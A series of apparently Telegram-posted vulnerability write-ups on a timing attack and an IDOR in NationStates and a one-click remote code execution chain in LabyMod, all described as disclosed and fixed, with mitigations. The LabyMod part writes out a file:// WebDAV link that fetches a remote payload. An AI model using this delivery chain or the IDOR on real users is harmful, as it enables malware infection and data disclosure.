🔥🔥 Conclusions 🔥🔥

The exploit was responsibly reported to Laby.Net developers and swiftly patched. However, the existence of such exploit in the first place exposes an important oversight that most cybersecurity beginners would completely miss.

Not enough awareness is raised about the dangers of using non-cryptographically-secure PRNG algorithms, especially in regards to the predictability of PRNG outputs to the outside observer, which leads to mistakes like these to be committed on a daily basis in a systematic way by programmers worldwide. Such vulnerabilities are not immediately obvious, even to a seasoned software developer, and, once exploited, they're nearly impossible to troubleshoot or figure out without in-depth knowledge into how the output numbers are sourced.

It's relatively rare that this oversight is exploited in the wild, so I hope that you enjoyed this detailed dive into how a random thing can bring your entire security mechanism down - no matter if you're a junior software developer or a cybersec professional - and that the post was of ultimate value for you and allowed you to learn something new.

🤕 Part 4 out of 4, the finale 🤕
🔗 Click here to jump to part 1: https://t.me/wundek/21

⏰ THE TIME IS UP!

Every system leaks information as part of its operation. Given a system's inputs and outputs, we can make assumptions about what happens between them.

Specific behavioral quirks and features - from a warning log for a corrupt input, to the way RFC standards were implemented - can help attackers infer the OS and stack used, software installed, and sometimes even the exact versions.

Developers encounter such information disclosure vulnerabilities sooner or later, sometimes only after an attack - through exposing .env files and MySQL databases to the Internet, forgetting to disable stack trace output on public-facing error handlers, and leaving version output for nginx enabled.

However, today we will talk about a deceptively minor oversight most developers are completely oblivious to - where time itself becomes a variable leaked by the system.

This post covers timing attacks, observable timing discrepancies, and a medium-severity security vulnerability I discovered in a popular nation-building game, NationStates.

⤵️ Part 1 out of 4 ⤵️

🔥 What does this mean? How does this happen? 🔥

Due to the specifics of I/O operations such as database lookups, file reads and writes, and caching, two separate operations in a single product can take different amounts of time to complete depending on how the code "branches".

In other words, in some cases, the attacker can derive whether or not an operation was successful based on the amount of time it took to complete.

Let's take a look at this code example:

def forgot_password(nation, email):
    public_msg = (
        "For privacy reasons, we cannot confirm the e-mail address you entered was correct. "
        "But if it was, an email has been sent you with a link to log in to your nation!"
    )

    record = db.find_nation(nation)
    if not record:
        return public_msg

    if email == record.email:
        # ...send the reset email...

    return public_msg

It's a public method that has three possible outcomes:
1) the user (aka "nation") doesn't exist, and a message is returned (failure)
2) the email doesn't match, and thus a message is returned (failure)
3) the email matches, we send the reset email, and then return the same generic message (success)

If the e-mail was sent to the victim successfully, to the attacker, it means that the user uses the e-mail address specified, which opens opportunities for social engineering and other attacks. However, at first sight, it seems there's no way to determine if the e-mail was sent successfully, since the same exact message is returned for both a failure and a success.

So how does an attacker go about this?

⤵️ Part 2 out of 4 ⤵️

🔥 The Exploit 🔥

The attacker can repeatedly send HTTP requests to determine the precise amount of time it takes the remote server to process the request. This information is then used to infer what function calls took place on the remote server.

We can split our example code into two branches, where each branch takes a significantly different amount of time to complete:
1) looking for nation (50ms) -> data doesn't match expectations (1ms) -> return the message (1ms)
2) looking for nation (50ms) -> data matches expectations (1ms) -> send the reset e-mail (200ms) -> return the message (1ms)
[the precise millisecond timings are illustrative]

Thus, by recording a baseline response time of several incorrect e-mails, and then comparing it to a supposed victim's e-mail, the malicious actor can observe a significant increase in response time, which signifies the e-mail entered is correct.

In our specific example, the difference in time will approach hundreds of milliseconds, but at scale one can detect extremely small discrepancies. Timing attacks are often used against cryptographical implementations to expose secret values and to gather information about the private key, where the time differences are often sub-millisecond.

This specific vulnerability was discovered on NationStates by me. I validated this behavior in a controlled test using my own accounts, then responsibly disclosed the findings. The issue was patched promptly.

⤵️ Part 3 out of 4 ⤵️

🔥 Mitigation 🔥

Now that we know about the vulnerability, it's essential to learn how to protect your applications.

In theory, all we need to do is to make sure that both valids and invalids take roughly the same amount of time. However, the practical approaches vary, so here are a few of the most common ones:

1) Return the response as soon as possible. For any operations that require an extensive amount of time, push it to a background queue, so that the response is not delayed.

2) Enforce a minimum response time, so that the request takes N ms regardless of whether or not it's a success or a failure.

3) In cryptography and high-load contexts, use constant-time comparison wherever possible. Different languages provide their own tools like System.Security.Cryptography.CryptographicOperations.FixedTimeEquals in C#.

I hope you've enjoyed reading this write-up. I do not feel like the issue is talked about enough, and in some cases, it can lead to a severe loss of confidentiality and put sensitive information at a risk of exposure. Hope I've helped you learn something new. Stay safe!

🤕 Part 4 out of 4, the finale 🤕
🔗 Click here to jump to part 1: https://t.me/wundek/26

Not only that, I have recently discovered my first Remote Code Execution vulnerability! 👨‍💻 That is a 10.0 out of 10.0 severity vulnerability that allows malicious actors to execute commands or arbitrary code on a remote server. Scary!

Unfortunately, no write-up is available at this point in time, but I believe it's necessary that I share such an important milestone in my growth with you 🥰

🔥 IDOR: The Eternal Classic 🔥

IDOR stands for Insecure Direct Object Reference. It's a type of vulnerability that commonly occurs when the attacker has control over some identifier to an object, and the application does not properly ensure that the attacker has access to the object behind said identifier.

It's one of the most common vulnerabilities in web applications, as a single missing permission check is usually sufficient to make the service vulnerable. Today, we will look at an example of such vulnerability in NationStates, a videogame.

📩 NationStates allows sending in-game messages - "telegrams" - to other users. Players looking to send a large amount of messages can do so using "stamps", a paid in-game item. Such senders have access to deliverability reports which show which users have received the telegram, which users have blocked the recipient, as well as a "secret key" for API purposes.

To receive a deliverability report, NationStates utilizes the following method: https://www.nationstates.net/page=ajax3/a=tgreportexpand/tgid=123456/code=200. By default, only the sender is able to access the report, while other players do not have the ability to do so.

👨‍💻 However, the method in question leaves an attacker-controlled tgid field and does not properly check if the attacker is the sender of the message. Thus, this method is vulnerable to the IDOR weakness. By manipulating the tgid field, a malicious actor is capable of achieving information disclosure of otherwise unavailable or confidential information. The issue has been responsibly disclosed and fixed before this post.

✨ It's easy to see how IDOR can lead to much more severe security issues, for example in POST requests, where the attacker might potentially modify information controlled by other users - user posts, online store orders, email forwarding preferences, and so on.

It is crucial that software developers treat user-supplied input values as inherently insecure and implement appropriate permission checks.

Hope you've learned something new today. Stay safe!

🤕

👀 The Path Through the Wall 🧱

Minecraft is the best-selling game in the world. Best known for its regular and free updates, open-world gameplay, but most importantly - modding capabilities.

Players can develop their own modifications for the game using popular frameworks, such as Forge or Fabric, in Java. Often developed by amateurs, such code is often held to lower quality standards, lacks proper security audits, and contains an elevated amount of mistakes.

However, while most vulnerabilities within modifications are limited to item duplication glitches, some can catastrophically affect the entire system.

This is a story about how several minor oversights chained together can enable remote code execution, - in LabyMod, a popular Minecraft client.

⤵️ Part 1 out of 6 ⤵️

🔥 Links and dangers 🔥

Let's talk about URIs and URLs. They're normally composed like this: scheme://userinfo@host:port/path?query#fragment, where:
- scheme defines the handler that should process the URL
- userinfo contains username and password (rarely used nowadays)
- host:port define the destination - commonly just a domain name
- path and query are used for resource location and extra parameters

An example URL would be: https://nk.ax/, utilizing HTTPS as scheme, and pointing to nk.ax as destination.

If we look at how Minecraft handles URLs, we will see something like this:

URI parsedUri = new URI(uri);
String scheme = parsedUri.getScheme();

if (scheme == null) {
    return false;
} else {
    String protocol = scheme.toLowerCase(Locale.ROOT);
    return "http".equals(protocol) || "https".equals(protocol);
}

So, as we can see, Minecraft only lets HTTP and HTTPS schemes pass through. But why? Why only these two?

Well, one thing about URLs and schemes that most people don't immediately realize, is they're handled by the software installed on your computer. For Windows, https:// is handled by your default browser, steam:// is handled by Steam, but file:// is handled by Windows Shell. Should a component of your system be vulnerable, accessing it via its scheme might put your computer in danger.

But just how bad can it actually be?

⤵️ Part 2 out of 6 ⤵️

🔥 A vulnerability? 🔥

LabyMod allows players to send chat messages within its ecosystem. Such messages can contain files, but also clickable links, defined like this:
- must have a valid scheme
- cannot contain spaces

These are then passed directly into an openUrl method that concludes user confirmation (are you sure you want to open this link?), but... no URL validation. Huh? What's that? Ah, that's right - LabyMod's URL parser lacks the HTTP(S) check completely!

Intrigued, I try sending the following string: file:///Windows/System32/cmd.exe. Let's break it down:
- scheme is file, telling the system to use the Windows Shell,
- in this case, the destination is /Windows/System32/cmd.exe, a local file referencing Windows Command Prompt.

And indeed, clicking on such link opens a command prompt window.

Wow!

⤵️ Part 3 out of 6 ⤵️

🔥 An exploit? 🔥

Now, we've managed to open a local file. This file is already on the victim's filesystem - precisely, in C:/Windows/System32/cmd.exe. That's not particularly impressive!

To open URLs on Windows, Minecraft utilizes the following array: ["rundll32", "url.dll,FileProtocolHandler", url], meaning there's no way for us to pass an url that would contain any payload for cmd.exe to execute. So, we cannot run arbitrary code just yet.

BUT 🥸, to arrive at the next step, we should learn about UNC paths, and about WebDAV in particular.

WebDAV basically allows HTTP connections to be used for file-management-like operations - list directories, create folders, upload files, etc. It is natively supported by Windows and can be used for network filesystem access over HTTP.

For example, a WebDAV path can be accessed using a link like \\nk.ax\DavWWWRoot\file.txt, which is an UNC (Universal Naming Convention) path.

However, such paths can also be represented within normal file URLs like this: file:////nk.ax@59998/DavWWWRoot/payload.exe, where 59998 is the port of our WebDAV server, effectively telling the OS that the file is actually located on a remote WebDAV server.

And... bingo! Clicking the link now makes Windows download the file from http://nk.ax:59998/payload.exe, and prompts us to execute the file with a scary "Security Warning". We've effectively achieved the state where someone can click on our link, confirm opening the link, and press "Run" to run our payload! Hooray! I decided to call it a day, and reported the vulnerability for Improper Input Validation.

The End.

⤵️ Part 4 out of 6 ⤵️

🔥 THE EXPLOIT 🔥

Hah! Just kidding! The previously reported issue was fixed fast, but I was completely dissatisfied with my findings. So I continued digging.

Soon, I've discovered code duplication - URL handling code was not unified, and appeared in different parts of the LabyMod source code with slightly different implementations. So while one instance of the issue was fixed, there was apparently a different part of the code still vulnerable to the exploit.....

In an essence, LabyMod allows servers to send specialized packets to players to interact with their game client. One of such packets allows addition of an interaction menu entry to other players - stuff such as "add to friend list", "open profile", etc.

Amongst other actions, an interaction menu entry allows opening an URL, which still allows file:// URI handler, and actually skips the Minecraft link confirmation window. That brings us down from three required interactions (click the link + Minecraft "open this link?" confirmation window + Windows Security Warning) down to just two required interactions (click in interaction menu + Windows Security Warning).

Interestingly, Windows is quite lax when it comes to these Security Warnings. It's split into different security contexts, but in our case, everything comes down to an extension check. Extensions commonly used for executable files will trigger this warning - .exe, .bat, .com, .lnk and so on.

The list of extensions is incredibly comprehensive, and yet somehow lacks one very important entry - in fact, Windows does not see .jar files as executable. Thus, no Security Warnings at all are triggered for .jar files fetched from a remote server.

This combination of circumstances enables the perfect opportunity for the malicious actor. We've now brought the amount of required interactions to just one (user should do one click for the interaction menu), which successfully establishes the finding as a One-Click Remote Code Execution vulnerability. No need to click any links, you just play on a server, press a single button, and your PC is immediately infected with malware. Woo!

Now THAT is impressive!

⤵️ Part 5 out of 6 ⤵️

🔥 Mitigation 🔥

So, what exactly went wrong? Evidently, multiple things:
- LabyMod tried to mimic Minecraft's URL handler, but missed a crucial security check,
- code duplication made the fix improper or ineffective, and left another oversight with a missing confirmation window,
- multiple small oversights, combined, turned into a single devastating critical security vulnerability.

The lesson to be learned is DON'T allow people to use custom URI schemes. However, a broader emphasis should be put on user input overall - perhaps, the issue would not happen in the first place if the developers were more careful when dealing with URI processing.

Some operations on user input carry an elevated risk of security vulnerabilities. Identifying such risk zones should be the priority, as detecting them early shows the developer where careful consideration and more attention is required. Ideally, such approach should result in appropriate filtering of sensitive input to ensure user safety.

Now, if you're just a LabyMod 4 player, ensure you're running the latest version. By default, the client auto-updates, so you're already fully safe unless you've manually disabled auto-updates. If you utilize a legacy version, you must update right away.

Regardless, stay cautious at all times. Videogame mods might look harmless on the surface, but can sometimes hide unforeseen security issues. Don't join shady servers, don't click on shady links. Warn your friends. Stay safe!

P.S. To emphasize the impact - LabyMod has more than 5 million unique users

🤕 Part 6 out of 6, the finale 🤕
🔗 Click here to jump to part 1: https://t.me/wundek/39